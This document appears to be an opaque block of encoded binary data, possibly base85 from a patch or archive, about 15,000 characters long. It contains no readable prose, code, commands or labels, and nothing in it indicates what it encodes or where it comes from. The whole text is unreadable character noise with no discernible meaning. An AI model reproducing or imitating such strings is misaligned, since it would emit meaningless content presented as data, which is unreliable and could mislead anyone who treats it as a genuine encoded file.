z!&FrLnw_L)0=I@=GVjf~i7bh%5m{+GXOa2JWQ)kWB{J#1x99AgDD|SW?S4;BI_)X`Ouw3)`9Gs;!*a#K4G3i1`#i#lSb!1jlbAv{S2i->hkB#MDJB)X57;SUqdiBwgGBDa`+2>EWXhD41`AcDMW`TKSd7ScV5!2YH zJ!&;<$@3#JH*2_=`uV&=`8k&Qq0enE(z{LFy%qO~3hok@F5IVZ|81qXnAe_1T8^!( zu^O>8j;-)-9D3a|+J&(tp}+7){}Kds9=#NL{phXd*w9S7;9<>v67dm(I;*EZ<#WJpU=z$b-l?@>}6hgee6jdY{8!Q&kn^hNY4+wZfg3#O=kKAj9O~s z=K{Ke=$jE^ds}|Idh%(B z5kp|%sgoz4&JBvj{1+QpZ0srF7slk=+$K{pw=pJAw0dJ7Q}S{WzYBlmx=y9C88g>Y z-a2Nv#u+2*9?6r>VDnY>%$W08)cf*#d3n);g*mP}YPR(iwps=?iFYsIZ2u>DUMZXf zQ@pj9RXE0N_j)^-!d^R9tkU%mpqGOzop7q=^Da{XO1^jn9omA)^*s+V6WfqEPUg|k4%lwK9J?-zDAzOB*54w z8ZDXf$-JQ%edTcOc+CmpP$5k8rc}K`$SOQmafkiI+k#5=5HJN&DBoh-mQXuaX$P=NqU*i=zbbM zOMl~Xs%P+@YatJKD!G)Q}_Y7`lE3Nzw18F_={|# zDIdzlhVkVsF+|GC)E}K!(ghVC3YAf~8P%5C=u7c8z_Hn1 z;k6?ya|>OUo^QSQY2D3PxV~+S71XQJy`Hnm>s52#$J!q=_%|@V6Sw3sn>tx zlgRUZfXp8kktL8FF7c)O^!bwU>N33@*l(vU;VyRN*Un!9vaQJeXGwHbk7pqjivJ|GTGwuiXu^1miw@cz+Y{qD8Fv8)fi`evA0uQUMXGX>r$0&P3o4s@59#QK2Ck?E+4Ni%n#S- zNnMVky9M1tI98__{nI3}S!DUKOY~-trH~Da9zO|Z9$EXoPBkL}qugY`mVK$hT{n?+>;gDC9nE%cOT$1 z-v43Ft8*EBiJehJ$O4?!v{`;D9 z^A^r!&d`G_f$Sd~=h_A#>uvFzVtMo3^kSnbd=ij>lzUx^4pM)%U@v^6Q_UCc<=b}Q zJ+RWYeYh{6TX$5hj_YOGN15K9OTO_=BKuv$4;^zIE6g<*#fo)?C#f4O^BpZc{n%P~ zv(vac`4I9$C0u?Yn?*K;Y&TtE$QF?$kR6qi zNgdjbY#v$3ydhsFjrW%8$@A%BN#mEOZvm$Yiht^mT;!L=Te|-!PI~#H+lTI(M8Hq- zwg*`Z+2yA4GWTKHlO-)mFRh?%Zw$ZFZ!6B{q-}3OmPB^B1YopLiMz32FIi_kJgC!iP+d*_y zTdptG%`k27mDTMj>$)Aq?>K%Pn2?|3@i4M6WU`MSVHfIXehzJ(Yg%tZ;8pT2jjg#2 z#k!-9f&F^dujf-1_hsBm=aO}F2-}bi<6nM~ca6v*C+>W1CvCF>-C=ZZ5YH9r2rplt z$@z@w3jK`u+l;>@{C%mIZdCY^jQ(C^MjgJ6O|}*mOJkZ**3GNCB-Hfi@&tgG# z9z@=Oe7H>RL*9#g6nPiNM)=0frKRD=(3wMrX{oMbgwF#2dVg39zY*stblXqfahU|s zTR^W5y>}GzwJ=u7gsRx>ebZtqqFb*gjbEkw-|5ur6ejik$5vzm$k<9*MLpF%YPAg^ zZDO56iqqr6UYDi_D{Yv->6*(|cN%k$f^{c8WV$`@|;*3%Zp*5c_- zal=>6^c zWvr*2AeX+*kDI;Isg9JiQ8{^2jkF6sDZ)snKS-53E|u_3L$TG1U)P!J2Up6MLDTgQ z+XWRSnbI#x-!_H4uCsD$DALQM*0_hC@FcGDxHp~cR6n4fF!e+F^?hTFX?vh-8jq@! zYkh+G#k-4p#uEP~WK+ndoSdx8U!Hj}zkmG~72?0mhAm7CV6Um$sczv|>=|pV%W_5A zVSEe)Cn=M0bYtkgBD&ghl30DCGsx*QZr%UK+V#N4HKpy7nQ1dgCV!BST}3cftZp}@ z2!ce@x*-S+f*{o(vB$AM&KH1&w>VCQ_yPG9eRcVoGw6TJqOHc$|rdq@{ zOHk%}o^$S>b0;%Y?fibp-20yAeb0N|^Pczoy?16$jCg;O8q>JiHy`-PLBAwhza2&^ zDBt%t%$F}7FQ2x^LR$44XN{S$dKzf+Ks%pxsbai})f3bh%v)r~YD9Nn@X5#DJn${4 zM425vEf&E6>~$UfMubaQDTgw8AY=HFA17lJGA3X4<7DJMfI6(&bs3Bmb&%0_`9$## zTu1S#$Tr&OYiEMN6Rb^hIypVkAPzhKz*2gs>sN z*f}>>eL6kXL;`&O^}cx?SU)2i|E5ca66Tyk)gNoVOT7+zj5j z>oEq3?t_v0$kE?bsuW1jXeRWOzul$}zAyle>y!`HoKkD~9 zSk5lUsp^?1-ih8Wakkg>e7JXdjD|Uku^Z#a803vTG*P?~U0&of61&9^C*NCKxB~t2 z!xIHwNgAyVBK^zzLez1k8drBfRt^Rk!%^F}tB>3st$}lVM7s|`PXFUSUQX5{sKY0I zyqqe?8GGu-$;n5#dLXCc=_qT&=rvs99lRXdHG+`cNQI26qmZ$5-9&K_DKJX~UXGq%|%LeYg_3trkAfF2>gRI==u+Oz~I>&l+B%k(N4q20)pD1Qg zFU~vU-hnySzu59+LSfO?~ zmm20$*AmDW9Gv)H`JFn-TLyU*FJo+uxD_?NNBlm@P^`6cGro^No*0@a)<=(3n8&!@ z)#;6o8msW^K5WE!SpH+^el|s)htYQ{kY4iEM1j|RMbm#=Z2W1|hm2Jl?S`zv_x?Mw z#vm*A!~c$~LTn&T-uB~V<-E9E@gVEdGxc!!M zWBCkpU>ycmWBfFVcoyAf#=Y+{Gpf(1d2cmjRgYnf%PgPyThY&(6W?WVo<4a=TPy{3 z^Ow=j0I-9$r;DEG?+Y)7jA6)F_SHo3SUhf`{U%?;dqr-DdahZ${gtm2*MA#|w#i?E zf1Y?zl!Wi`&Wu-k`f3dgVUlZT z-~YQs=}%z&1H1=94nH~g%LZ)-w5LcwIl1BJS!~u?j3{AC`ls@+a~Cl~|Yt zdEJmV`qOwB!>I;oy`YJ`F3R z){?jCUs&EA@Z=v5FLvOXACC3rBWApmKu; z#jCSN*K=NjCvOYZ$@Qviq*WnpF*8;EWbHYZJ8QBza__wq*fqdndTo^p>pWO{f^Dqn zC06TjYfkY|ygWeLz&Gt@@w@b!Z?w$-_?LtKaOR6oHvWb|8w3p|a`aZuS1ob$E|Gc% zdf~4J$N!*r+%g6ff^P@-f##BZC$h{Hk18iTCtDe>z4n5sUdo(K?ldx$KAT&u`hi~bw9wT##J zuq{mkEszs09*y)jwZ;uO?zPb0Mr}({obWg)f z|1|7#M7&64|04C_{-0dG!Uz$+vlAg}d({2~?HBBAkd>YnukTS>b>jTMZ-M%WOZxU2 z;7fr&-1LWW=X>_@;e3yZlObTM^5ey34;b-bd*14$a%mto*plT;uHoOdT7$JN0(csY1Bof$7)F?EU96P3Thqqna|qdtkD>@WgZ)n_~LlX1h>hra5Zc)_K8en`s% ztxTg)kIA5wg7$VSJw{w>nck;k=s{VvkQF*FUc47mmU|q&K87sn+6P%}7osm>J>bK- z83HY{B3}HHG`nw+kF%)GWu09&vU8zMfoC9VcDxAra1+g!M^aq}fd*p4mu#??K~~kJ z@uJln%Z&5QtCOT35!(ptz%}T@&ApXz*pUemOC5WF?O7Nv{*oF)$DS0Ij<=`A9&hb{ ztn^#sMTeR1c)xPjXHAT@n-5it^(b?Dyx0_3pK?6VtN(6opVvKklx>6Uu?;dtJL1L7 zW_v>HUu?zxE~Hi68ISYzG0HvU*0m}Sz1+-a6tcR1kMW(8&;HDZX=xiUrn(nxVFGSA zknw))v&Jivk+x!aycl2%Q9h;mb*oeNuEvN(S`p_Kl)MV?l-v&+J9**Uzk2?l4rzT| z@q#YG59_ys`GYnT%LkXapW$BUFh-ouhpg;=^qCLD zi=VOV1q8?(5hO@zNaZrF*Ocr!xL@0z35gc>5iGlaOsU zXd6MBg=^{{$Kd8~%`y%QAU*xzcy%To_oNMjmZj11K^p~aGH6qx_^LUtGG7py8O>E? zJ>@=&__7jxN2Cm^5AApRW6^iSuSUqq!vyU}=*CYL{yIUc0_}L(%DW-X8I9r|AC_$m zFpaAn|EU0N5VU&GUX5N)99-*N#jm3dO=j{X%Tf2CD%ej?!-n0CC*s8ju2~P}9M;;r zT^5IVW&xL_mc>auD}i70q%%j!1zRm>t3aDW8ERZZU-;hnSvKG+z`G5+o#aLScqJe* z=o3k`Kqq`Uke+DJSoGu#AFM4%&xiySP*`Dt4Slfe>{){=Y5!J22z9A}DhH zR{I>*r+eeYbd~|<7R&$P?M_8@L4Agh4$11I0@<+9(EDcSh#0sOB_ z$+}kijb5CjEpgwLOU!JIX#I|FmVIsynV%wI*qJoPn;^}$u5s`I$ycQ0oUEPo;~Hbx z0P1*Myz6}&th;K^J3z0*wOQ}hJj(U%w`oXT3hYK;f5<$l7 zmrFrk4*Dw6vFMroIEzSdP`n#|ruK6LY9<-bY+7i%;K|4^QR2_7IRt4IBV-H}I z^52h-x(AT#5j|wvuK|52=tV3a=&VJy{Wj1yf^MDb zmPhVA-h<=Ja5{*1MY$`0%li=XZStGH7t8iC0D2?n7}mMRC;Ga>BkpyF3P62>ST7C5 zi>IUa8Ik)dr^M(p@?-QF`3CZ+LLSW@#fywo+(d1YuJxz#7%eiMvQ|J=`IqtHn^^5J z;@zt6#%Pa>6?}nF+BflH&-fU64ZG(d=f#K>!?0Z;M3g|@u-7j<(Z^g7w)BLem6PqP z6LPwIesKil=wnT-F1-hhJE9=l)JE`jPw?CGIm!!B9%wnN<5==AaLYzik?|5y69FWL z{uX>0{)&mTTvtLI!cjMwPaf!fpzi?;KWxt>pbdhSAStMKd{=@t0NQiR8_}NqHI7B& z!Dal1F#Nw*{>Ka8aP7f6IgqpK<{~X!CAgAt1JTrV5P9V!`o&wgMqc@zA$8^?1o{~0 z8KmRGy59ksFUc?FCE_NkPrB>=sKjWsrS^g-ulN<%D#LHD8AS9uG##yq{m- zRYY#PpjNQhpwHzln=o!Jr(V)PpDTx)zMx-R%XX^9DDns=26=eDgE^X*iQoP3KIpM- zdCY|M*a=>Lw%>Jjh&Jv4Js0<$<^IFu(XE{d&AExle(@UuvkX2P=);DbC zSt>_za*bjI(sm%NiTX25``!CNq*b5n|Iy9y0FYNf6tn;n=#G@kKyM5#6n1#!37xK43e&1bw zfmcMj?Iq=7@z$2_{oiPDorh2vo2R{j*#2w3Yy8Rmt76cXgT9xmT|&>3ux4+)(9-*= zR~ux=nR_qfvT?V8zwvi|v5%`Cll)N5da3B|-Rv_{M&i7COmGv?CqpKEWEe6_?(>UV zT{6{qQTgk*PMOmuMloIojK{U7>^IRT{n>9nKf`169_&hRp@X^`NFPG_tVr8h>p_F= zIbwR$a~=gL9OLstdoG2{%@0Jju$r%G%zyHgAxDaUr zNUOxPInIf>rcn)S+ROeQw5E{{v0dP62A`k)5m62~u!JA0a^R4=D>iT?T9siNWR$)# zzE9~vy8ms=5s-G)KDdeI7bC9unfES#%2@oBDfRxMlxF;O;BO=z54MfP&jay95KjcL zAf*%E%VgqQq+JsujqChl@e3owd0&XSd4a|qFUJ9Epz{(e(hSF(2fD}a*m#IC7F1&j z|2wGTQGcwx<#A)4bE5VEs*fy%tl}}hIMy{TM7xF0Sz*lk^tfi5!}i$$-jc8UVs6Yb zx#LKF)H10!!oFx2@~Xe_i*H?hk&Jw*FM7+}7ct&ZkIZ3~B|+pzwrgt)xXi7GFGf7$ z9EEYB3i7fiB>bqpXAs_?hv;_5=$hc=7(?BZ+ z4a4c^ZDptSyb(i9TQ@>pab|*8xqA$G%iJ+JYqw~AjE)|4MV&W7-kP5$*mLk)&_bZC z0&Nbi%@}2l|G)n{RPa5F9l-lD^5VlhazXPSnqaTdaa>RgS`f6q5#(8Bzw4|L^fjQL zMLIr=nYHAfoS@!^fp~`DkQFnFotajSwD)pgi-BFljK{~Oar5e*Bt*AQN1SS(qmWmZ zmmmhHj2%nSKDB4#Jb%)9RoN5d%RV{heU$&W1aZBKSB)n)ellZlnKn3++&RFr+|}SO z0smr$-=4GKwba&>O=6bHW!bFdhHTQSFcr;JoHOAfouS)>WY=>!B3NNoWwX#jr3lmZ={~%>oQ`#<#{q%O|m~; z1vzCWn?4CS4Ib{Gs93WRY4ecwubs=|#b|lZ)h0ne`Y8#n^{pJxvNRgwK_O_9LHoTI zH{;7RuJ8C|jF?>y|1=2gO&vveS>R*ILmdCT1Pyzba&W<#uwVNXbv^XyLK zQ?))p7#@|62b+{IgXhok3+Kadqn_Z$n?rarNB);~*a+Ub{sb9A1g0poO$fA3(0;}Y z@F8snXe%OUX(9BXpjqp;`M?E18vyN>@K4lHmPfvT*!8UQP0Zazv7bUvbH*yjSoLgz z`kg<>z%MdOU#|y!7~iF1X~Uz zh?&$cTAjG%T^3Ed88|EM{UZ8-A?jRwt$&c?3={FUS)$?V7IG$~1ye%X9yMITsB|x&hc0<XFukH4|OU9 ztq!!aSZ4D>`aID4b|k3xKwhl&k=U0vf*$zBO(z@WFGE@h(k7CC4`c8O(27A@On*n8 zp?0{&o4D4&P8DmoIC zpIUiCel;M}@H~@+_MQyva$u#s@NPRP|3U!PtNe?Rz8UFXQm!RS&wqm{^a6YXLYej8 z>G@TndJpzFZkcIFUxxHSr1P2|>bwH90np}Dfp>PEVihl-)pj=aNLRhUu10df9(%>So$L2e3Nu1n*81 zZLxSRAJ5YRo_g?f#NxSfJkMtEZ2AHD&_=3X=;o7dB zvmsM8Ls^!qG>W>^cu30ut$LXwo8>M9tq!!~%>F^@eX0|8yobg~ z4V*RR$N{Y%v{j&CiQD1T z+u!4+5Yy)3&OP;OAwW3`d2@kl299Oohu_7Zo&QJE zf2{g3)2fhG6D5uPMI+Ld{y9;6VUC5R{j~nV^R1n=Abth#^Zu47{u;~P(`j#~f7uND zwg(c`7$HJ0zF>MdN*eQ-gtU!F+hWcuBK7ia;Il9)pJL#PfnV|v+6o6FYE4fbF!*I0 z=Q!xpGrj+uU|r6(F1$bWSeMsW7l<_wu@v$)Kb|Pw#kK7ZnqSHO%xu5(!vWxzuTB)j z>Cy4tW746o+FKg~w*SRM@emg+)c8!Tv2cyvUdQte`=Tu5$@>2S{x@;<4O#I}+D-JQd(0=6I6hhxcI?#SH?Z25bM!mIm> zuEVH1Pm$pGoaZs=N~#Vv1Jm|tqG;wM!m0zUeR=0kl!~&x z(lB@#`OnT_^MEbgktoiKC3l7+w+h&1Pm)*}3;PELy9C%t2}zHrJaGXo%c=JSH)icSC}8nOmg?XCo%4MDgctLjP}U^ zuKwgCaU*lHY&p~HgDBW+kBp_|z;2AhvhO_C!DRy12;AgTl2qKsbGI_ifKD09kXC`T zT3p-tQAVjFgTB-c+}LSJ;+$Bq>QEeT^k);USCeF$qj47&7x zq-{JG^-4MT$odB@=lmprA)fq@wh^>Rr0!iGT0)M&Kr4$w+3h^Wgb^%LBIwg;T- zmm}&YA8Er#`>y(-jjDjly)a3==hCtf{Qzl9Z~l&SmZ{53*VmZWfYt|@I&BcNUeE&I z;fK7NL0hBIWc`D-3bdI7S^D6Tc1iyR{Uy>aU>ct2m;N~4tfZ5a&Xkb{T=1eK!Q-R4 z4CYyev`nP23G+k0ng?1sX!ny~<#~#A>ShiEb3*62iaAjJQs9>WzmJZ`HGOIo(mIjW zrl-mF%0?*VaC9r>YzB4*uzToOTvJc+E&eK!>}QWA;Wiz#$)Fw0bW6_~N>e=3kY0>* zS#Hp>@MnN#fHn))HqQ*S(;~$u%MVN=FomozORgS=@A3hx0toA2De%iLNg6-TJJp8C z^7R3?4Y z&t#;PB2BL8SZOC&_2)UCC1swaz%2z%)*J3gs{*Y{qfuTRXu;Yf@ieaOyl69Ls44ws zIdB8Ot&hZAZ`y(LL^JNvH#P!aenXP@P{-STc9RX3^)KQ?)}kcwQ)2O9J*9&-88qu% zrP4ln{JX*#UlLyk{L;E49;I~3!8r0)WM!>UnEEl#8sLj>blNRtG=pY<_6v>=EZgdN z?%~dJ74bJEi8ld{hWFfS7gN?<2>3DJYjnIE*L%1cA+@7!X>oC)WO0%xp&q=)Ul6pm z`Xuo$lSX}WL2JG>Nt~qj5xOsb==2f9R{`I3Tax&#j@Qd~j(e=r34G@5N#bDe@vi$>B`PXsn zjbjo!0ua{+T=!1kwgES~6S#B?l=Hg3Ki@py8g~L$3EaR=;M#yo|J(QHy8^iKoxp7Z zZuw5&eE0#wZ99RR4BWH_zFWU6)JG|Bb-?l3uHVzGnnl|IxfYnAmy^WR^hGuQve(DG zhs9Y7B2JaO~5q*H&@50F)jT}$`TXe#2_#a zx-sUdP|tl9E*rSASD~+tlRkTcU9bwIl>oO4IN9-^!bym8-q4v>^2D~>zcXC3%{_1? zOwK~h?EwjKO-Nm$8 z>oMzOt}l4=td_yKM+a~vmj~3m%-XY~2cw;_ZhMeEJTG9+t2k!w11+yQpvJIP*+6G` zhLM(!w3Ei=>v_wv5M}t2;2+ln&`dT0*PHb)qsNZR`^t0^0Mdi&hP6KXDdtltU2Ys^yX+20o*mUY;uHvOW z)kv?uC%|EsldkoXo|hGtWn2nu-%`X(9c$K+cR%`$vTGmp`F+5>#%}4|447(KGJcEz zTXJte#6vzmj48fU%tt}%kQ7yqnV=b~BkYfK`pz_@l|K(%L}l(`dBUGSGU~n|+y8CwBcYdaJ^*UIu`zd^Rv{O_Q=i zNUKHK5xC|j4}UvATMpVCv~SEl(X%yLpGG_6rC~nxkAQp6TlG_RpKeV+soy-{8=niP zv!3&ubr4NSh}XH`wC#If&H1x zMU|xnw6+LZGiY5Aw56c+ftF$N(oQ{~4T5$tX_k(12}8*qM0(cq0sE|sEI(+ILE|+) z)9^P2S~h5}lVHiw%WyNwz!+!^#sH&@a&|}l;JZ@iQ#R-63)|*pz-7MR=t14*fffW! z`k<9351Js2>1{|aMEdc%Yz{nd&$iHw^vV~}?(}$|>Fj-2#RQgf2w4A10m0!3Kh%92 zXg<(tNwD%)y3^Ba-P89#`__0VFB`NnjYfHSpp}AFHC~=Iq?Y+s0@wEPcjH*THsCe_ z*Ak@@XFxm?&ch@Rk2`WUx$W>2ab0 zv}#=2HZtedH=0JGuDQT<0XI*_MTtwyrxMt0z{+-od)9R=XxXm@)E>T77u+yG8hJX+ z^aF9t4{6S9Z>*;tO=MoA}8*L{3y@0g4EuVoIX-xO+89SXe3?hB$2j~mgm@NHdyYXIb zjq<5iF>sYzF%I`>I9;##j$X8R9q^@}2E-M5x%D~3S(L8oz6;pq?dBL9yv%P6XpNxZ zwI+^UI{&TQCslT!|7-)kZ%07fglm3C6MJEN`b|LXVVksc&;~%m5K(@pYc^>8-v-=g z>#Q}W)pj;gW+||3VJG%6pDNHoc=AE+!Qh^DuLErqv|r=ewyS4}UFM}ouZeSbD5nRs zdXJmd2U?xiO&bEO88lWIKeGIwHTv8*{y=bjLbCl#265@2)q$q-W`kA>nrRX#FAuaD z(5x{G%TxkdHE4S?Q_EK{F6G>wzEo|dV=3B6S96p1Eh`e&30zrXvcM8vB<=$X$9m}n zE;#tO$ovW78?e#JL0P#-H+D<5f74#ZTGf}FXlBhB zo3v9Uuyw$`Xc~_;t_3Z3k7V(nNy`GQ4Yb6JWcMDaz0$4vupVH1z#OgH1@`rPVp&Di z^$>6wdnSvikjsy(f6$Eml2!j_(!@`(b`F}HM}d}wzjV;v22Ju>b!eXgP?%g`wtfeO zHYx|^$^DZBj^;acWA8(G{%L7UY%{QR2PCU8I3Dwn_O#|>JlnSJg%>gXmF<27u*1N1 z>vFYz&U2R~S&bVu1Hacn$pXuMjviW^@O%b5lBh=-7AijjwloITdx9EcWC5E8Y)*EB zovaBc(ut`6=D6>`uwEL0IT@Hg;+h}QIzc=B=gIP#H1;vwpdABR9toE?<7eXgk#-)^ zs5U=rLz_T52{hL}%V}IX$1%U?;W%*!95Pqhs~D<$Mll#I6B$>MxS*_oYXUccdSf z*buPy1N*vOuX^9KLDehertgD(>6gj&?~sm@d%L4UKCsUKd!F8h>2eL#hf(f4V7E_A z7Bgb$aJbSz#y?;KhbOCd(OYd$+U!zfuKKhb$m|8~7~qC*ZO144Kuf_l?~G)Ts*g{dJhd6*Fg0xNU{_werlGV8@%jYzH`wRzHS|yjN_iFI{ zxgy!U92IV!%pD(XD5sI^>R7$7WSP|IUW|Ga%=|!;8{2au}J69bn;GeY{x!h z2k?KWOjhefxF;>`0N4|>vvAE1 zE4sa9xxEF}9D@0G0Qcs#$!h%+_pIaPpnVS7yD?&iXNPGG?^Tv4)&GI--s_UxYmLg* z_Sl1Y`VPd{W1-s)nV{VTnl)Z0ZZc?hg2wXjLs~v){}+KP1?>-@S!-3qRe|=upjm4< zq}73Tk4EFTvjenF(5B-W@Ag!&=~|Qzw@mLr`f8-lV7ldZo_q;lA2W#bVWhj(XEYyB zr<9cLJAmE4*3pS|ofeD}2Y}}K-2;u^`;l#8sZT!eaf_10Z(RD^E%iwUtpe$bkZ#$L zFpgzvL9Yc}+ERNCfN4vR)`m1*>*uqwaNC2lW~9wxnpOU*k)0WDS%!_kJPOQ-6kuWW z{-AG9n;{1f-$8NW*}Ia(X?nY{j|Iu6ir69XF%H?1nMW>o-d~a|runoybUVqjwMr@C ztAPKoGg%xP3m>rhKNY7tf&cf?Wbvr(^Sb;$5)VBfyARm5Wf%hx8*?4ki=R+%ZB9!6 z6+c6}TyEML?5vM;(DFdL7T31@RJ*a)_=w8`uJn(|>OFMUcvRuef^zF#F#FR=;C9@f zEUp?Sj~fHZMwHhETwzzT{cabnuP?BG#H|3X4!FB@dDdL~Hfa{=JDY&p{O4q~K75li zUZz`&A#LhkOuw{z1azjQAB?prq{+4#k(PtB9Hhy!eGzHJNP7lp$LV_ETDE_rb#^DK z{YB8&R_j1p4%&Pj@5FfSa!ccozYEwgV6FH;{xzWa{)RDCbbdw+$xoYwfUN>{EIM`@ ztwxz?*_cm1kSu0L#X0*8)F}_x6%RUPBCQ0pUeGK(Nvi~H05mHG(8jf(JqOwmxVC)^ zmrPrNw9Qe{*p7OTCVG;^Pkb7m-nO50+7Zh=4E)H$m{aTR$esgvlZa+q^&f)unU&GU zga*>Hk)Hc#vN)Ih7v9UM#*F5<_k|F$Zv6`{dd@+ZXqa$|N6xQaB^9&QlQg3Ag&N2z zehmE*MDasCn?W-`TTX)ISE?vtU~MO60lNvFwZmhb{Z0z|XpeLeMy}2Bg zN_`CQ)NU~SBO1>fAlZv}@34(Td)9+**|Xm<4n3UqSL3j5VEdj+7RTsz()IcPP!&#P z-EIPY<3O^wHwNB&wylb6`+>>ae@Pa9fnHI|&DjrgXZ?eDc7s+4TDx8zJ6?Lvw@Sk}F+}|~CW}ga4x-u0 zyPZ|1jFknvADhhnHDBYsWp+{nmVgPiEQ*q^*gOHi)!Aq`BIN$+rz@qe%M+?(O+bW&B54JJMWhPNvKyNW19W=rVhd zR)MsAqvSV$v`VDy9wjY=v?`?0H*`I7aqIgf#uG?eMPKnw@mQzv@a7o%mwhhxYVSo~ zH}JxXfYML%!7Dz*I1ShQ&`(Q2>jv!$`iUBkIcHlxc22X>4)ws+Z%G#YxYqTezb!@D zw2zY2xq8UK1C)H8(zAvN@^MQ1sDrw|Ap~47??LbkgC|+{QEP1UmhJM=$94eQw>7#y zWagm##7LWlw1FsTv_}cj29aj%wX+w- zPfvE?*8pFWm?B=I!$-s4w403&0cr0^O1+G2QF#H3ZxAq&GHA9vj((Hp#4Gj2Yro~=bV&Tq>SajmmioS zXhwcG7FY#Z8EAKtV3l3ElIkmmkUoU;i}ZB6udv3kYEhK!#(y~cEtn#%)7K~Tx~g>g z;c38@|13p3uE%Y?p6+n`fHtTEe%m1_vMf}Gv|7+Ypjl($EYR9O8wD+dYr9OU586ay zldlJu-k&>sIiU4{HUQcSy6)CFsbuOcmx`>TVRF1V2A-;4q^Q0W@1Qbci}&g{8A{f@ z0J*HItZ8V^Q&I$elG)Kox65M_?aE@klmNf%h!pj1MQb12b0#tCnO=?bk|R@u(Cgmw zHH#A>;tVEw0vCKc4HOemNwgr^Z}&r#dLhw z7REpu0*&Rgd8|E;Ud2nImQg^ zM>{@2o!UTK0b06l8}NCB)jE~#D}d`hCdK{C0?$s!YE~2AEXdmg+_Ym;#F9vPw^5$5 zoj8)`r&HW>ZjWjg)F}(;BS?QkmtpzVfRe-V7{GNM@05qMa?qB8X0_Wa(5gXO2HF|8 zw(YKbdzIXtWGIBN!m`ELTQ61c-C2Or8F0j&eH z3KHzNalT}tzo#9A`b7H0dfV3h{SbHC&IdkidWwCvkNTB@HVHJ>zP>%5@w70rY~bpE zTLPRMJ6Puk>FVoGM|{1-<1x>%uq<7`;{Bv*{DOOyWesSBpk0h>rz~7>R_U84KSnxb z?m+rxr0a9_v|QA;M#};&2-*(NhH!1?qv~vcnNb%5m{l_(;;ly==wW&l(#O6dy&37b zGh_32A-y(6I?K|}{E^OT<44v%Xe%OUBcSy}(0tfT?*`3^#ca!&pi$m4Qkwe5a_|#( zLrL+OBCa+q{GIBdX`D*A7+=e#hzq8OIf`)E z6md4LrsMCdDWZ6aICqLTb&5E1ihuxI%$*{@bIKIxl7qit{EhY|h&qfvd=H=F=&tKj z>x@Cj!&sF+m>{NQfoEL|p89=YA!nRpfTwsQLHd&~UMsuZKg&HAxz@@&YJndGe)h4* zW2=_OMcVTa1G62q3%-4K#K`ASheyT=U^@#EWm|WZM~>gFK-r!B*)Cu= z0b2>xdn!xjEP3I@2=ntY=y!d6R?*P`;LY+%fmlc;XS$e79;m%D*@lkj}!g4*@&reE1^#-q)aE z^|-gE6Zcq#0L}y$ZHeMOT>GMxfmI=`tL72-nRd|+{NIT`N6W(*7u{%aP^Wpom*Jg= zD~Uf=!)rRp@sXCtGVp8$kIZ9ljVDSTEW;r1HMiqETFm3%sQBx2o%pc8DDXwJX_AI7 z*ZQF(tIt+-ho9^cX?Q0hh7;(!&UX5ta~&SfzpY#pPZfA3;r)gsfC#;bJl=7OTg1RX!7j6b3AyJwOIN_ zqQLMA>n&$Fb)x5!;LZoHtrgjLe-&P{EPQXq;F;{^!SF+D{21@6VtH1_;PEBemCy22 z0xP~v6iuxA-$v*0*eyl*3tpQj%EO7Gkvxya;Hk5-k#mRv@bG<9*g6)zS2P~$xv3ov zJ{v0GHCH%KoFtMsW_eM=bAEb;W@E8uM|_f~i^OX7_56B@xKWNttEY%-F+ja! zN*W)Sr2m{TMO>){ux9*&yxf!|kxyMuh*8ITIXZBhj@K;+BQ;5$BlPKh0exxb0i^dM zUB;JqO{N}GZ+2`z9==qlCM`)6Q;+SM4RoJA*wKSAW*T^Uc25#mZgAV#=_8)7av{DF z_==1q(TZzV8?gEYPF2mA$G&mJ6bt(o$j#KfM(mw@&oZ6mSph0 z8H0DF#p@0DO>WvE0G`^MB)&dY_zu@%p>Dsw+1bf?Q9gJ!9+o6NCC?rj59-7^)kqsu z0T(zfN&KAtbB{L8v(_DsbZpF+gku#Va6*zigW|hi!$YoIc`{>CFK~^(6;bZJ8cy>| z?;(zCmJ`dj_`N&S2kY;h7(78YPd1jfCeKb13mN-fJkNj2O4KP8E0(2w~JKR;?dwWtDi^xpN(S~K$-0B`n+BsD&`N8{D&Z>>{* z%#Sag@ja3xl4-w%8jo&2`JNv4z>xXnf%l&)lSC$Ne61Rq%t@BIs-=ds4ggFOB; zjNdZUdnSB~E^>I(*otp0a19p8lLwy8Jp*#h$~PyHhdrl@Mb5{o!L!lgId9_ zrvdQ<-Kxc)~wGO@YElQ=N-wjU8^6fp9%I~eSa#Ld(zN2>4X#uf_?PpF5o`>A+ zrye}MvjTYUJiZrcJh~lTcjvPLJXz=By(PW~9$h#44IJvcZ3sMd7Y0<{K3B`fo=077 z+2MN24zytw7Lu1#1VjPiiEsPGjt%v^Dy@Fcdpt+Jv?lAg9K2n4Psf?;GxwSkoj2dH z2kW>4JR29_8E)DmUgNRaZHwC{dVybo_hzi2AL)2AmU!QE<41t6#CtAefA@t}9@`Gy zc@_uDkhLe)L-9@u{&t^luBMM({dJr=&#G#)KRvAxs*R}0*~aqU~D z;dq|wUsf%sxpo(@ZT}NcYd?EcI<~a+_S|7{(2hgE=QRZQC?NWE4R4J(U$)Rnz8@QD zlkskfZNzWY@J`!m((RH9d^z4h@dR~$MZ;@;>*3iVb6m^v&I3;fJnP8wu*Rd}!<`nI z*iK;EZVia5i2dz2EH|^HWMcb(9R&6YVi%9Y+Hs9`83A_mj)2%f>}8iYc67$>+~AP1 zW&LNuzwW|2n27gY=HT^mMm&#E3ZCKn0&1SJLF2*L)niSlA&>gh16#Tr?~I_`@7J(a zJ*~8~QTQIbvpui(KHBu0vd8 z84lI(nqTP8W=Q`BPvK-(=ZT`aiI3>&`hJf6E z_kF5it?|?f3$6O8QQ)il1L9li{)&dzb#Hd;&+=yDq1imV7X*)8V%;@5kLMpwKGdrm zJlS~nMmNj5TH}dQ2h5`l_%7gO9uI1GO)ouaWDIr`=axBZ*}HLV3GT@ zW8gdX^?*EA>au}s7bPeNdog9NAQm59z_a^3dj(EPEMvj@cBzJ5a%Mzs6&o z+hP{7m8v|Nfxi>@O6GB^hS&QUZ5@L4S_7V^-wKFR$TKH8kNylXc}BqV`r84q7yHXo zqVq(KyMp^5ui=0^N9j9Cetj0Iq%SM~gY~p?hgzwxF zBK{Asa@|#r$&N1e429(_1pZ$i!KN(l9hxq>-}3y4S>M#B7CbL*3y9z2+IO|aqvEpl zt{v&C%YiNUSiPIbcltQ&C6;9BG6?KOJXdu&Bz9)Wx?S*0blU=Z}2%XgpFE z>kx|a(;Q&?faUKX`(DwoT3Nl1IkAKGtOQR!o?rTedF?&diN%)xaL-D!%@W{y@x0Qn zh)>e+>_6?^S?SXYY~}UI;!m{w*H<{Qb$zt4Fl{sno@F=U94>jLYw|T751*bebwZO7 